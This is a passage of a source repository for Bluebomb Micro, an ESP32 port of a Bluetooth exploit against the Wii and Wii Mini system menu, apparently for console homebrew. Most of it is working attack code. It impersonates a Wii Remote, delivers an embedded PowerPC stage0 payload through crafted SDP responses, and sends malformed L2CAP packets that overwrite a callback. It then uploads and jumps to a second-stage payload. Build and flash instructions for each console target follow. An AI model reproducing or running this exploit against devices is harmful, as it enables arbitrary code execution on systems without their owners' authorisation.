STAGE_SERVICE_RESPONSE; 245 | 246 | return pos; 247 | } 248 | 249 | static int sdp_handle_bluebomb_service_attribute_request(uint16_t remote_mtu) 250 | { 251 | printf("Preparing attribute response (%d/%d)\n", stage0_sent, stage0_bin_len); 252 | 253 | uint16_t required_size = 1 + 2 + 2 + 2 + 1 + 1 + 1 + 2 + 1 + 1; 254 | if (required_size + 0x10 > remote_mtu) { 255 | printf("required_size %d > remote_mtu %d\n", required_size + 0x10, remote_mtu); 256 | bluebomb_reset(); 257 | return 0; 258 | } 259 | 260 | uint16_t sdp_mtu = remote_mtu - required_size; 261 | required_size += sdp_mtu; 262 | 263 | memset(&sdp_response_buffer[0], 0x00, required_size); 264 | 265 | sdp_response_buffer[0] = SDP_ServiceAttributeResponse; 266 | big_endian_store_16(sdp_response_buffer, 1, 0x0001); // Transaction ID (ignored, no need to keep track of) 267 | 268 | uint16_t pos; 269 | if (stage0_sent == 0) { 270 | big_endian_store_16(sdp_response_buffer, 3, 2 + 1 + 1 + 1 + 2 + 1 + sdp_mtu + 1); // ParameterLength 271 | big_endian_store_16(sdp_response_buffer, 5, 1 + 1 + 1 + 2 + 1 + sdp_mtu); // AttributeListByteCount 272 | sdp_response_buffer[7] = 0x35; // DATA_ELE_SEQ_DESC_TYPE and SIZE_1 273 | sdp_response_buffer[8] = 0x02; // size of data elements 274 | sdp_response_buffer[9] = 0x09; // UINT_DESC_TYPE and SIZE_2 275 | big_endian_store_16(sdp_response_buffer, 10, 0xbeef); // The dummy int 276 | sdp_response_buffer[12] = 0x00; // padding so instruction is 0x4 aligned 277 | pos = 13; 278 | } else { 279 | big_endian_store_16(sdp_response_buffer, 3, 2 + sdp_mtu + 1); // ParameterLength 280 | big_endian_store_16(sdp_response_buffer, 5, sdp_mtu); // AttributeListByteCount 281 | pos = 7; 282 | } 283 | 284 | uint32_t remaining = stage0_bin_len - stage0_sent; 285 | uint32_t to_send = btstack_min(remaining, sdp_mtu); 286 | memcpy(&sdp_response_buffer[0] + pos, &stage0_bin[0] + stage0_sent, to_send); 287 | pos += to_send; 288 | stage0_sent += to_send; 289 | 290 | sdp_response_buffer[pos++] = remaining <= sdp_mtu ? 0x00 : 0x01; // ContinuationState 291 | 292 | stage = STAGE_ATTRIB_RESPONSE; 293 | if (remaining <= sdp_mtu) { 294 | printf("Uploaded stage0\n"); 295 | stage = STAGE_ATTRIB_RESPONSE_DONE; 296 | } 297 | 298 | return pos; 299 | } 300 | 301 | static void do_hax(void) 302 | { 303 | // Chain these packets together so things are more deterministic. 304 | int bad_packet_len = L2CAP_PAYLOAD_LENGTH + 6; 305 | int empty_packet_len = L2CAP_PAYLOAD_LENGTH; 306 | int total_length = L2CAP_HEADER_LENGTH + bad_packet_len + empty_packet_len; 307 | 308 | printf("Sending hax\n"); 309 | 310 | uint16_t remote_mtu = l2cap_get_remote_mtu_for_local_cid(sdp_server_l2cap_cid); 311 | if (total_length > remote_mtu) { 312 | printf("required_size %d > remote_mtu %d\n", total_length, remote_mtu); 313 | bluebomb_reset(); 314 | return; 315 | } 316 | 317 | memset(&sdp_response_buffer[0], 0x00, total_length); 318 | 319 | struct l2cap_packet* hax = (struct l2cap_packet*) &sdp_response_buffer[0]; 320 | struct l2cap_payload *p = &hax->payload; 321 | 322 | hax->length = htole16(bad_packet_len + empty_packet_len); 323 | hax->cid = htole16(0x0001); 324 | 325 | printf("Overwriting callback in switch case 0x9.\n"); 326 | 327 | p->opcode = 0x01; // L2CAP_CMD_REJECT 328 | p->id = 0x00; 329 | p->length = htole16(0x0006); 330 | uint8_t *d = &p->data[0]; 331 | 332 | little_endian_store_16(d, 0, 0x0002); // L2CAP_CMD_REJ_INVALID_CID 333 | little_endian_store_16(d, 2, 0x0000); // rcid (from faked ccb) 334 | little_endian_store_16(d, 4, 0x0040 + 0x1f); // lcid 335 | 336 | p = (struct l2cap_payload*)((uint8_t*)p + L2CAP_PAYLOAD_LENGTH + le16toh(p->length)); 337 | 338 | printf("Trigger switch statement 0x9.\n"); 339 | 340 | p->opcode = 0x09; // L2CAP_CMD_ECHO_RSP which will trigger a callback to our payload 341 | p->id = 0x00; 342 | p->length = htole16(0x0000); 343 | 344 | p = (struct l2cap_payload*)((uint8_t*)p + L2CAP_PAYLOAD_LENGTH + le16toh(p->length)); 345 | 346 | if (send_acl_packet(con_handle, hax, total_length) != 0) { 347 | printf("Failed to send acl packet\n"); 348 | bluebomb_reset(); 349 | } 350 | } 351 | 352 | static void upload_payload(void) 353 | { 354 | uint16_t remote_mtu = l2cap_get_remote_mtu_for_local_cid(sdp_server_l2cap_cid); 355 | if (L2CAP_PAYLOAD_LENGTH + L2CAP_HEADER_LENGTH + 0x10 > remote_mtu) { 356 | printf("required_size %d > remote_mtu %d\n", L2CAP_PAYLOAD_LENGTH + L2CAP_HEADER_LENGTH + 0x10, remote_mtu); 357 | bluebomb_reset(); 358 | return; 359 | } 360 | 361 | uint16_t payload_mtu = remote_mtu - L2CAP_PAYLOAD_LENGTH - L2CAP_HEADER_LENGTH; 362 | 363 | uint32_t remaining = stage1_bin_len - stage1_sent; 364 | uint32_t to_send = btstack_min(remaining, payload_mtu); 365 | 366 | int upload_packet_len = L2CAP_PAYLOAD_LENGTH + to_send; 367 | int total_length = L2CAP_HEADER_LENGTH + upload_packet_len; 368 | 369 | memset(&sdp_response_buffer[0], 0x00, total_length); 370 | 371 | struct l2cap_packet* upload = (struct l2cap_packet*) &sdp_response_buffer[0]; 372 | struct l2cap_payload *p = &upload->payload; 373 | 374 | upload->length = htole16(upload_packet_len); 375 | upload->cid = htole16(0x0001); 376 | 377 | p->opcode = 0x09; // L2CAP_CMD_UPLOAD_PAYLOAD 378 | p->id = 0x00; // CONTINUE_REQUEST 379 | p->length = htole16(to_send); 380 | 381 | memcpy(&p->data[0], &stage1_bin[0] + stage1_sent, to_send); 382 | 383 | printf("\r%d / %d", stage1_sent, stage1_bin_len); 384 | 385 | if (send_acl_packet(con_handle, upload, total_length) != 0) { 386 | printf("Failed to send acl packet\n"); 387 | bluebomb_reset(); 388 | return; 389 | } 390 | 391 | stage1_sent += to_send; 392 | 393 | if (remaining <= payload_mtu) { 394 | printf("\r%d / %d\n", stage1_sent, stage1_bin_len); 395 | printf("Uploaded stage1\n"); 396 | stage = STAGE_JUMP_PAYLOAD; 397 | } 398 | } 399 | 400 | static void jump_paylaod(void) 401 | { 402 | printf("Sending jump\n"); 403 | 404 | uint16_t remote_mtu = l2cap_get_remote_mtu_for_local_cid(sdp_server_l2cap_cid); 405 | int jump_packet_len = L2CAP_PAYLOAD_LENGTH; 406 | int total_length = L2CAP_HEADER_LENGTH + jump_packet_len; 407 | 408 | if (total_length > remote_mtu) { 409 | printf("total_length %d > remote_mtu %d\n", total_length, remote_mtu); 410 | bluebomb_reset(); 411 | return; 412 | } 413 | 414 | memset(&sdp_response_buffer[0], 0x00, total_length); 415 | 416 | struct l2cap_packet* jump = (struct l2cap_packet*) &sdp_response_buffer[0]; 417 | struct l2cap_payload *p = &jump->payload; 418 | 419 | jump->length = htole16(jump_packet_len); 420 | jump->cid = htole16(0x0001); 421 | 422 | p->opcode = 0x09; // L2CAP_CMD_UPLOAD_PAYLOAD 423 | p->id = 0x01; // JUMP_PAYLOAD 424 | p->length = htole16(0x0000); 425 | 426 | if (send_acl_packet(con_handle, jump, total_length) != 0) { 427 | printf("Failed to send jump packet\n"); 428 | bluebomb_reset(); 429 | } 430 | 431 | // we're done now 432 | printf("All done!\n"); 433 | bluebomb_reset(); 434 | } 435 | 436 | static void sdp_respond(void) 437 | { 438 | switch (stage) { 439 | case STAGE_HAX: 440 | do_hax(); 441 | break; 442 | case STAGE_UPLOAD_PAYLOAD: 443 | upload_payload(); 444 | break; 445 | case STAGE_JUMP_PAYLOAD: 446 | jump_paylaod(); 447 | break; 448 | default: { 449 | if (!sdp_server_response_size || !sdp_server_l2cap_cid) { 450 | return; 451 | } 452 | 453 | // update state before sending packet (avoid getting called when new l2cap credit gets emitted) 454 | uint16_t size = sdp_server_response_size; 455 | sdp_server_response_size = 0; 456 | l2cap_send(sdp_server_l2cap_cid, sdp_response_buffer, size); 457 | 458 | if (stage == STAGE_ATTRIB_RESPONSE_DONE) { 459 | printf("Sleeping for 5 seconds to try to make sure stage0 is flushed\n"); 460 | 461 | // Set up 5s timer for hax 462 | btstack_run_loop_set_timer(&stage0_timer, 5000); 463 | btstack_run_loop_add_timer(&stage0_timer); 464 | 465 | stage = STAGE_HAX_WAITING; 466 | } 467 | break; 468 | } 469 | } 470 | 471 | } 472 | 473 | static void bluebomb_sdp_packet_handler(uint8_t packet_type, uint16_t channel, uint8_t *packet, uint16_t size) 474 | { 475 | // printf("sdp_packet_handler %x\n", packet_type); 476 | 477 | switch (packet_type) { 478 | case L2CAP_DATA_PACKET: { 479 | sdp_pdu_id_t pdu_id = (sdp_pdu_id_t) packet[0]; 480 | uint16_t transaction_id = big_endian_read_16(packet, 1); 481 | uint16_t param_len = big_endian_read_16(packet, 3); 482 | uint16_t remote_mtu = l2cap_get_remote_mtu_for_local_cid(channel); 483 | 484 | // Account for buffer size 485 | remote_mtu = btstack_min(remote_mtu, SDP_RESPONSE_BUFFER_SIZE); 486 | 487 | // Make sure param_len doesn't exceed size 488 | if ((param_len + 5) > size) { 489 | pdu_id = SDP_ErrorResponse; 490 | } 491 | 492 | printf("SDP Request: type %u, transaction id %u, len %u, mtu %u\n", pdu_id, transaction_id, param_len, remote_mtu); 493 | 494 | // meh give up on packets if we reached this stage 495 | if (stage > STAGE_ATTRIB_RESPONSE_DONE) { 496 | return; 497 | } 498 | 499 | switch (pdu_id) { 500 | case SDP_ServiceSearchRequest: 501 | sdp_server_response_size = sdp_handle_bluebomb_service_search_request(remote_mtu); 502 | break; 503 | case SDP_ServiceAttributeRequest: 504 | sdp_server_response_size = sdp_handle_bluebomb_service_attribute_request(remote_mtu); 505 | break; 506 | default: 507 | sdp_server_response_size = sdp_create_error_response(transaction_id, 0x0003); 508 | break; 509 | } 510 | 511 | if (!sdp_server_response_size) { 512 | break; 513 | } 514 | 515 | l2cap_request_can_send_now_event(sdp_server_l2cap_cid); 516 | break; 517 | } 518 | 519 | case HCI_EVENT_PACKET: 520 | switch (hci_event_packet_get_type(packet)) { 521 | case L2CAP_EVENT_INCOMING_CONNECTION: 522 | if (sdp_server_l2cap_cid) { 523 | // Just reject other incoming connections 524 | l2cap_decline_connection(channel); 525 | break; 526 | } 527 | 528 | // Accept connection 529 | sdp_server_l2cap_cid = channel; 530 | sdp_server_response_size = 0; 531 | l2cap_accept_connection(sdp_server_l2cap_cid); 532 | break; 533 | case L2CAP_EVENT_CHANNEL_OPENED: 534 | // Reset if open failed 535 | if (packet[2]) { 536 | bluebomb_reset(); 537 | } 538 | break; 539 | case L2CAP_EVENT_CAN_SEND_NOW: 540 | sdp_respond(); 541 | break; 542 | case L2CAP_EVENT_CHANNEL_CLOSED: 543 | // Reset if channel closed 544 | if (channel == sdp_server_l2cap_cid) { 545 | bluebomb_reset(); 546 | } 547 | break; 548 | case L2CAP_EVENT_CONNECTION_RESPONSE: { 549 | uint16_t result = little_endian_read_16(packet, 1); 550 | // printf("Got connection response result %x\n", result); 551 | if (result == 0x5330) { // 'S0' 552 | printf("Received 'S0' response\n"); 553 | stage = STAGE_UPLOAD_PAYLOAD; 554 | 555 | l2cap_request_can_send_now_event(sdp_server_l2cap_cid); 556 | } else if (result == 0x4744) { // Payload upload response 557 | l2cap_request_can_send_now_event(sdp_server_l2cap_cid); 558 | } 559 | break; 560 | } 561 | default: 562 | break; 563 | } 564 | break; 565 | default: 566 | break; 567 | } 568 | } 569 | 570 | static void stage0_done_handler(struct btstack_timer_source *ts) 571 | { 572 | printf("Stage0 flushed, moving on\n"); 573 | 574 | stage = STAGE_HAX; 575 | 576 | // Request send 577 | l2cap_request_can_send_now_event(sdp_server_l2cap_cid); 578 | } 579 | 580 | static void setup_bt(void) 581 | { 582 | // Disable SSP 583 | gap_ssp_set_enable(0); 584 | 585 | // Set device connectable 586 | gap_connectable_control(1); 587 | 588 | // Set device non discoverable for now, we'll set this after setting IAC LAP 589 | gap_discoverable_control(0); 590 | 591 | // Set device bondable 592 | gap_set_bondable_mode(1); 593 | 594 | // Set local name 595 | gap_set_local_name("Nintendo RVL-CNT-01"); 596 | 597 | // Set class 598 | gap_set_class_of_device(0x002504); 599 | 600 | // Register HCI callback to set IAC LAP once HCI is working 601 | // and to catch the connection handle 602 | hci_event_callback_registration.callback = &hci_packet_handler; 603 | hci_add_event_handler(&hci_event_callback_registration); 604 | 605 | // init L2CAP 606 | l2cap_init(); 607 | 608 | // Register SDP service with max possible MTU 609 | l2cap_register_service(bluebomb_sdp_packet_handler, BLUETOOTH_PSM_SDP, 0xffff, LEVEL_0); 610 | 611 | // setup timer 612 | stage0_timer.process = stage0_done_handler; 613 | 614 | // Power on! 615 | hci_power_control(HCI_POWER_ON); 616 | } 617 | 618 | int bluebomb_setup(uint32_t l2cb) 619 | { 620 | L2CB = l2cb; 621 | 622 | uint32_t payload_addr = 0x81780000; // 512K before the end of mem 1 623 | 624 | if (L2CB >= 0x81000000) { 625 | printf("Detected system menu\n"); 626 | payload_addr = 0x80004000; 627 | } 628 | 629 | printf("App settings:\n"); 630 | printf("\tL2CB: 0x%08lX\n", L2CB); 631 | printf("\tpayload_addr: 0x%08lX\n", payload_addr); 632 | 633 | big_endian_store_32(&stage0_bin[0], 0x8, payload_addr); 634 | 635 | // Setup bluetooth 636 | setup_bt(); 637 | 638 | return 0; 639 | } 640 | 641 | int bluebomb_get_stage(void) 642 | { 643 | return stage; 644 | } 645 | -------------------------------------------------------------------------------- /components/bluebomb_micro/bluebomb_micro.h: -------------------------------------------------------------------------------- 1 | #ifndef _BLUEBOMB_MICRO_H_ 2 | #define _BLUEBOMB_MICRO_H_ 3 | 4 | #include 5 | 6 | enum { 7 | STAGE_INIT, 8 | STAGE_SERVICE_RESPONSE, 9 | STAGE_ATTRIB_RESPONSE, 10 | STAGE_ATTRIB_RESPONSE_DONE, 11 | STAGE_HAX_WAITING, 12 | STAGE_HAX, 13 | STAGE_UPLOAD_PAYLOAD, 14 | STAGE_JUMP_PAYLOAD, 15 | }; 16 | 17 | int bluebomb_setup(uint32_t l2cb); 18 | 19 | int bluebomb_get_stage(void); 20 | 21 | #endif // _BLUEBOMB_MICRO_H_ 22 | -------------------------------------------------------------------------------- /components/bluebomb_micro/stage0_bin.h: -------------------------------------------------------------------------------- 1 | // This file is bluebombs stage0.bin 2 | static unsigned char stage0_bin[] = { 3 | 0x7d, 0x68, 0x02, 0xa6, 0x48, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x00, 4 | 0x60, 0x00, 0x00, 0x00, 0x7d, 0x48, 0x02, 0xa6, 0x39, 0x4a, 0xff, 0xf8, 5 | 0x7d, 0x44, 0x53, 0x78, 0x3c, 0x60, 0x80, 0x00, 0x60, 0x63, 0x18, 0x00, 6 | 0x3c, 0xa0, 0x00, 0x00, 0x60, 0xa5, 0x01, 0x30, 0x48, 0x00, 0x00, 0xdd, 7 | 0x3c, 0x80, 0x00, 0x00, 0x60, 0x84, 0x01, 0x30, 0x48, 0x00, 0x00, 0x9d, 8 | 0x3c, 0x60, 0x80, 0x00, 0x60, 0x63, 0x18, 0x08, 0x3c, 0x80, 0x80, 0x00, 9 | 0x60, 0x84, 0x19, 0x2c, 0x80, 0xa3, 0x00, 0x00, 0x90, 0xa4, 0x00, 0x00, 10 | 0x38, 0xc0, 0x53, 0x30, 0x48, 0x00, 0x00, 0x54, 0x3c, 0x60, 0x80, 0x00, 11 | 0x60, 0x63, 0x18, 0x08, 0x80, 0x63, 0x00, 0x00, 0x7c, 0x69, 0x03, 0xa6, 12 | 0x4e, 0x80, 0x04, 0x20, 0x7d, 0x68, 0x02, 0xa6, 0x2c, 0x19, 0x00, 0x01, 13 | 0x41, 0x82, 0xff, 0xe4, 0x3c, 0x60, 0x80, 0x00, 0x60, 0x63, 0x19, 0x2c, 14 | 0x80, 0x83, 0x00, 0x00, 0x7c, 0x04, 0x8a, 0x14, 0x90, 0x03, 0x00, 0x00, 15 | 0x7c, 0x83, 0x23, 0x78, 0x38, 0x90, 0x00, 0x04, 0x7e, 0x25, 0x8b, 0x78, 16 | 0x48, 0x00, 0x00, 0x6d, 0x7e, 0x24, 0x8b, 0x78, 0x48, 0x00, 0x00, 0x31, 17 | 0x38, 0xc0, 0x47, 0x44, 0x38, 0x6f, 0x00, 0x54, 0x3c, 0x80, 0x80, 0x00, 18 | 0x60, 0x84, 0x18, 0x70, 0x90, 0x83, 0x00, 0x00, 0x7d, 0xe3, 0x7b, 0x78, 19 | 0x38, 0x80, 0x00, 0x00, 0x38, 0xa0, 0x00, 0x00, 0x39, 0x6b, 0xf8, 0x54, 20 | 0x7d, 0x68, 0x03, 0xa6, 0x4e, 0x80, 0x00, 0x20, 0x38, 0xa0, 0x00, 0x1f, 21 | 0x54, 0x63, 0x00, 0x34, 0x7c, 0x84, 0x2a, 0x14, 0x54, 0x84, 0xd9, 0x7e, 22 | 0x7c, 0x89, 0x03, 0xa6, 0x7c, 0x00, 0x18, 0x6c, 0x7c, 0x00, 0x04, 0xac, 23 | 0x7c, 0x00, 0x1f, 0xac, 0x38, 0x63, 0x00, 0x20, 0x42, 0x00, 0xff, 0xf0, 24 | 0x7c, 0x00, 0x04, 0xac, 0x4c, 0x00, 0x01, 0x2c, 0x4e, 0x80, 0x00, 0x20, 25 | 0x7c, 0x66, 0x1b, 0x78, 0x7c, 0xa9, 0x03, 0xa6, 0x38, 0x63, 0xff, 0xff, 26 | 0x38, 0x84, 0xff, 0xff, 0x8c, 0x04, 0x00, 0x01, 0x9c, 0x03, 0x00, 0x01, 27 | 0x42, 0x00, 0xff, 0xf8, 0x7c, 0xc3, 0x33, 0x78, 0x4e, 0x80, 0x00, 0x20, 28 | 0x00, 0x00, 0x00, 0x00 29 | }; 30 | static unsigned int stage0_bin_len = 304; 31 | -------------------------------------------------------------------------------- /ports/esp32/.gitignore: -------------------------------------------------------------------------------- 1 | build/ 2 | l2cb.c 3 | sdkconfig.old 4 | -------------------------------------------------------------------------------- /ports/esp32/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.16) 2 | 3 | # Append bluebomb_micro components 4 | set(EXTRA_COMPONENT_DIRS "${CMAKE_CURRENT_SOURCE_DIR}/../../components") 5 | 6 | include($ENV{IDF_PATH}/tools/cmake/project.cmake) 7 | project(bluebomb) 8 | 9 | # Check system value 10 | include(${CMAKE_CURRENT_SOURCE_DIR}/../../cmake/l2cb.cmake) 11 | if (NOT DEFINED BLUEBOMB_TARGET) 12 | message(SEND_ERROR "Missing BLUEBOMB_TARGET, available options are: ${BLUEBOMB_L2CB_LIST}") 13 | endif() 14 | 15 | # Generate the l2cb value 16 | bluebomb_generate_l2cb(${BLUEBOMB_TARGET}) 17 | -------------------------------------------------------------------------------- /ports/esp32/README.md: -------------------------------------------------------------------------------- 1 | # Bluebomb Micro ESP32 2 | This is a port of BlueBomb Micro for the ESP32. 3 | 4 | ## Requirements 5 | - An ESP32 with BR/EDR (Classic) support. A BLE only controller will not work. 6 | - The latest [ESP-IDF](https://docs.espressif.com/projects/esp-idf/en/stable/esp32/get-started/index.html). 7 | 8 | ## Building from source 9 | 1. Navigate to this directory from the bluebomb_micro root (e.g. `cd ports/esp32`). 10 | 1. Integrate the custom btstack by running `python ../../external/btstack/port/esp32/integrate_btstack.py`. 11 | 1. Build the project by running `idf.py build -DBLUEBOMB_TARGET="WII_SM4_3J"`. 12 | Replace `WII_SM4_3J` with one of the supported target systems matching your console (e.g. `MINI_SM_PAL`, `MINI_SM_NTSC`, `WII_SM4_3E`, ...). 13 | 14 | ## Flashing 15 | To flash the binary built in the previous step, run the following command: 16 | ```bash 17 | idf.py -p PORT flash 18 | ``` 19 | Replace `PORT` with your ESP32 board's USB port name. See the [ESP-IDF Programming Guide](https://docs.espressif.com/projects/esp-idf/en/stable/esp32/get-started/index.html#build-your-first-project) for more information. 20 | -------------------------------------------------------------------------------- /ports/esp32/main/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | idf_component_register(SRCS "main.c;${CMAKE_CURRENT_SOURCE_DIR}/../l2cb.c" 2 | INCLUDE_DIRS "${CMAKE_CURRENT_SOURCE_DIR}" 3 | REQUIRES "bluebomb_micro driver") 4 | -------------------------------------------------------------------------------- /ports/esp32/main/Kconfig.projbuild: -------------------------------------------------------------------------------- 1 | menu "BlueBomb Micro Configuration" 2 | 3 | orsource "$IDF_PATH/examples/common_components/env_caps/$IDF_TARGET/Kconfig.env_caps" 4 | 5 | config BLINK_ENABLE 6 | bool "Blink Enable" 7 | default y 8 | help 9 | Wether to enable blink or not. 10 | 11 | config BLINK_GPIO 12 | int "Blink GPIO number" 13 | range ENV_GPIO_RANGE_MIN ENV_GPIO_OUT_RANGE_MAX 14 | default 2 15 | help 16 | GPIO number (IOxx) to blink on and off the LED. 17 | Some GPIOs are used for other purposes (flash connections, etc.) and cannot be used to blink. 18 | 19 | endmenu 20 | -------------------------------------------------------------------------------- /ports/esp32/main/main.c: -------------------------------------------------------------------------------- 1 | #include "btstack.h" 2 | #include "btstack_port_esp32.h" 3 | #include "btstack_stdio_esp32.h" 4 | #include "hci_dump.h" 5 | #include "hci_dump_embedded_stdout.h" 6 | #include "driver/gpio.h" 7 | 8 | #include "bluebomb_micro.h" 9 | 10 | // warn about unsuitable sdkconfig 11 | #include "sdkconfig.h" 12 | #if !CONFIG_BT_ENABLED 13 | #error "Bluetooth disabled - please set CONFIG_BT_ENABLED via menuconfig -> Component Config -> Bluetooth -> [x] Bluetooth" 14 | #endif 15 | #if !CONFIG_BT_CONTROLLER_ONLY 16 | #error "Different Bluetooth Host stack selected - please set CONFIG_BT_CONTROLLER_ONLY via menuconfig -> Component Config -> Bluetooth -> Host -> Disabled" 17 | #endif 18 | #if ESP_IDF_VERSION_MAJOR >= 5 19 | #if !CONFIG_BT_CONTROLLER_ENABLED 20 | #error "Different Bluetooth Host stack selected - please set CONFIG_BT_CONTROLLER_ENABLED via menuconfig -> Component Config -> Bluetooth -> Controller -> Enabled" 21 | #endif 22 | #endif 23 | #ifndef ENABLE_CLASSIC 24 | #error "Classic mode needs to be enabled for bluebomb to work" 25 | #endif 26 | 27 | #define BLINK_ENABLE CONFIG_BLINK_ENABLE 28 | #define BLINK_GPIO CONFIG_BLINK_GPIO 29 | 30 | // Provided by generated l2cb.c file 31 | extern uint32_t bluebomb_l2cb; 32 | 33 | static btstack_timer_source_t heartbeat; 34 | 35 | static void heartbeat_handler(struct btstack_timer_source *ts) 36 | { 37 | // Invert the led 38 | static bool led_on = true; 39 | led_on = !led_on; 40 | 41 | #if BLINK_ENABLE 42 | gpio_set_level(BLINK_GPIO, led_on); 43 | #endif 44 | 45 | uint32_t blink_speed; 46 | switch (bluebomb_get_stage()) { 47 | // Very slow idle blink 48 | case STAGE_INIT: 49 | blink_speed = 1000; 50 | break; 51 | // Fast blink while uploading payload 52 | case STAGE_UPLOAD_PAYLOAD: 53 | blink_speed = 50; 54 | break; 55 | // Medium blink during all other connected stages 56 | default: 57 | blink_speed = 100; 58 | break; 59 | } 60 | 61 | // Restart timer 62 | btstack_run_loop_set_timer(ts, blink_speed); 63 | btstack_run_loop_add_timer(ts); 64 | } 65 | 66 | int app_main(void) 67 | { 68 | #if BLINK_ENABLE 69 | // Set up the LED 70 | gpio_reset_pin(BLINK_GPIO); 71 | gpio_set_direction(BLINK_GPIO, GPIO_MODE_OUTPUT); 72 | #endif 73 | 74 | // optional: enable packet logger 75 | // hci_dump_init(hci_dump_embedded_stdout_get_instance()); 76 | 77 | // Enable buffered stdout 78 | btstack_stdio_init(); 79 | 80 | // Configure BTstack for ESP32 VHCI Controller 81 | btstack_init(); 82 | 83 | // set one-shot btstack timer 84 | heartbeat.process = &heartbeat_handler; 85 | btstack_run_loop_set_timer(&heartbeat, 1000); 86 | btstack_run_loop_add_timer(&heartbeat); 87 | 88 | // Setup bluebomb 89 | bluebomb_setup(bluebomb_l2cb); 90 | 91 | // Enter run loop (forever) 92 | btstack_run_loop_execute(); 93 | 94 | return 0; 95 | } 96 | -------------------------------------------------------------------------------- /ports/esp32/sdkconfig: -------------------------------------------------------------------------------- 1 | # 2 | # Automatically generated file. DO NOT EDIT. 3 | # Espressif IoT Development Framework (ESP-IDF) 5.2.1 Project Configuration 4 | # 5 | CONFIG_SOC_BROWNOUT_RESET_SUPPORTED="Not determined" 6 | CONFIG_SOC_TWAI_BRP_DIV_SUPPORTED="Not determined" 7 | CONFIG_SOC_DPORT_WORKAROUND="Not determined" 8 | CONFIG_SOC_CAPS_ECO_VER_MAX=301 9 | CONFIG_SOC_ADC_SUPPORTED=y 10 | CONFIG_SOC_DAC_SUPPORTED=y 11 | CONFIG_SOC_UART_SUPPORTED=y 12 | CONFIG_SOC_MCPWM_SUPPORTED=y 13 | CONFIG_SOC_GPTIMER_SUPPORTED=y 14 | CONFIG_SOC_SDMMC_HOST_SUPPORTED=y 15 | CONFIG_SOC_BT_SUPPORTED=y 16 | CONFIG_SOC_PCNT_SUPPORTED=y 17 | CONFIG_SOC_WIFI_SUPPORTED=y 18 | CONFIG_SOC_SDIO_SLAVE_SUPPORTED=y 19 | CONFIG_SOC_TWAI_SUPPORTED=y 20 | CONFIG_SOC_EFUSE_SUPPORTED=y 21 | CONFIG_SOC_EMAC_SUPPORTED=y 22 | CONFIG_SOC_ULP_SUPPORTED=y 23 | CONFIG_SOC_CCOMP_TIMER_SUPPORTED=y 24 | CONFIG_SOC_RTC_FAST_MEM_SUPPORTED=y 25 | CONFIG_SOC_RTC_SLOW_MEM_SUPPORTED=y 26 | CONFIG_SOC_RTC_MEM_SUPPORTED=y 27 | CONFIG_SOC_I2S_SUPPORTED=y 28 | CONFIG_SOC_RMT_SUPPORTED=y 29 | CONFIG_SOC_SDM_SUPPORTED=y 30 | CONFIG_SOC_GPSPI_SUPPORTED=y 31 | CONFIG_SOC_LEDC_SUPPORTED=y 32 | CONFIG_SOC_I2C_SUPPORTED=y 33 | CONFIG_SOC_SUPPORT_COEXISTENCE=y 34 | CONFIG_SOC_AES_SUPPORTED=y 35 | CONFIG_SOC_MPI_SUPPORTED=y 36 | CONFIG_SOC_SHA_SUPPORTED=y 37 | CONFIG_SOC_FLASH_ENC_SUPPORTED=y 38 | CONFIG_SOC_SECURE_BOOT_SUPPORTED=y 39 | CONFIG_SOC_TOUCH_SENSOR_SUPPORTED=y 40 | CONFIG_SOC_BOD_SUPPORTED=y 41 | CONFIG_SOC_ULP_FSM_SUPPORTED=y 42 | CONFIG_SOC_CLK_TREE_SUPPORTED=y 43 | CONFIG_SOC_MPU_SUPPORTED=y 44 | CONFIG_SOC_WDT_SUPPORTED=y 45 | CONFIG_SOC_SPI_FLASH_SUPPORTED=y 46 | CONFIG_SOC_DPORT_WORKAROUND_DIS_INTERRUPT_LVL=5 47 | CONFIG_SOC_XTAL_SUPPORT_26M=y 48 | CONFIG_SOC_XTAL_SUPPORT_40M=y 49 | CONFIG_SOC_XTAL_SUPPORT_AUTO_DETECT=y 50 | CONFIG_SOC_ADC_RTC_CTRL_SUPPORTED=y 51 | CONFIG_SOC_ADC_DIG_CTRL_SUPPORTED=y 52 | CONFIG_SOC_ADC_DMA_SUPPORTED=y 53 | CONFIG_SOC_ADC_PERIPH_NUM=2 54 | CONFIG_SOC_ADC_MAX_CHANNEL_NUM=10 55 | CONFIG_SOC_ADC_ATTEN_NUM=4 56 | CONFIG_SOC_ADC_DIGI_CONTROLLER_NUM=2 57 | CONFIG_SOC_ADC_PATT_LEN_MAX=16 58 | CONFIG_SOC_ADC_DIGI_MIN_BITWIDTH=9 59 | CONFIG_SOC_ADC_DIGI_MAX_BITWIDTH=12 60 | CONFIG_SOC_ADC_DIGI_RESULT_BYTES=2 61 | CONFIG_SOC_ADC_DIGI_DATA_BYTES_PER_CONV=4 62 | CONFIG_SOC_ADC_DIGI_MONITOR_NUM=0 63 | CONFIG_SOC_ADC_SAMPLE_FREQ_THRES_HIGH=2 64 | CONFIG_SOC_ADC_SAMPLE_FREQ_THRES_LOW=20 65 | CONFIG_SOC_ADC_RTC_MIN_BITWIDTH=9 66 | CONFIG_SOC_ADC_RTC_MAX_BITWIDTH=12 67 | CONFIG_SOC_ADC_SHARED_POWER=y 68 | CONFIG_SOC_SHARED_IDCACHE_SUPPORTED=y 69 | CONFIG_SOC_IDCACHE_PER_CORE=y 70 | CONFIG_SOC_CPU_CORES_NUM=2 71 | CONFIG_SOC_CPU_INTR_NUM=32 72 | CONFIG_SOC_CPU_HAS_FPU=y 73 | CONFIG_SOC_HP_CPU_HAS_MULTIPLE_CORES=y 74 | CONFIG_SOC_CPU_BREAKPOINTS_NUM=2 75 | CONFIG_SOC_CPU_WATCHPOINTS_NUM=2 76 | CONFIG_SOC_CPU_WATCHPOINT_MAX_REGION_SIZE=64 77 | CONFIG_SOC_DAC_CHAN_NUM=2 78 | CONFIG_SOC_DAC_RESOLUTION=8 79 | CONFIG_SOC_DAC_DMA_16BIT_ALIGN=y 80 | CONFIG_SOC_GPIO_PORT=1 81 | CONFIG_SOC_GPIO_PIN_COUNT=40 82 | CONFIG_SOC_GPIO_VALID_GPIO_MASK=0xFFFFFFFFFF 83 | CONFIG_SOC_GPIO_IN_RANGE_MAX=39 84 | CONFIG_SOC_GPIO_OUT_RANGE_MAX=33 85 | CONFIG_SOC_GPIO_VALID_DIGITAL_IO_PAD_MASK=0xEF0FEA 86 | CONFIG_SOC_GPIO_CLOCKOUT_BY_IO_MUX=y 87 | CONFIG_SOC_I2C_NUM=2 88 | 